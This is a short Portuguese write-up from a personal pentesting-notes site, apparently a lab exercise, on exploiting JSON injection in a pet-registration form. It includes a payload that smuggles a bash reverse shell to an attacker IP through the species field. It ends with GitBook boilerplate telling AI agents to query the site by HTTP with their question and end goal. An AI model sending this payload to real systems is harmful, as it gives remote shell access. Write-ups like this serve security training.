> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE em JSON

<figure><img src="/files/2067c8397aadea0afdc51fb778798eabaad3eb2f" alt=""><figcaption></figcaption></figure>

Temos a possibilidade de adicionar "pets" com suas espécies, o que permite uma injeção de JSON.

<figure><img src="/files/4b342537822adb337f72f7a56e67d0de04b90a17" alt=""><figcaption></figcaption></figure>

Interceptamos as requisições com o Burp Suite e tentamos manipular a requisição adicionando uma entrada com o nome e a espécie:

<figure><img src="/files/6b071e124273c4fa3bc07797c956048bc5235458" alt=""><figcaption></figcaption></figure>

Esta entrada é interpretada, o que permite uma injeção.

```json
{
    "Nome": "jordan",
    "Espécie": "jordan"
}

```

<figure><img src="/files/bb55c5df71ac6219c4e16eb23d5e3b83a876e8cb" alt=""><figcaption></figcaption></figure>

Configuramos um listener para rastrear os pacotes ICMP e observar as comunicações e testar injeções de comando:

```bash
sudo tcpdump -i tun0 icmp

```

Recebemos um ping de volta, o que confirma a possibilidade de execução remota de comandos.

<figure><img src="/files/bfc2cab86e30097fe3eac09c6008760875df6e4b" alt=""><figcaption></figcaption></figure>

Então, enviamos uma requisição com `curl` para o nosso servidor Python e também recebemos uma requisição, o que confirma a vulnerabilidade de execução remota de código.

```bash
{
    "Nome": "jordan",
    "Espécie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/901e599f495e70cd999ba45ea11099cac18d8087" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
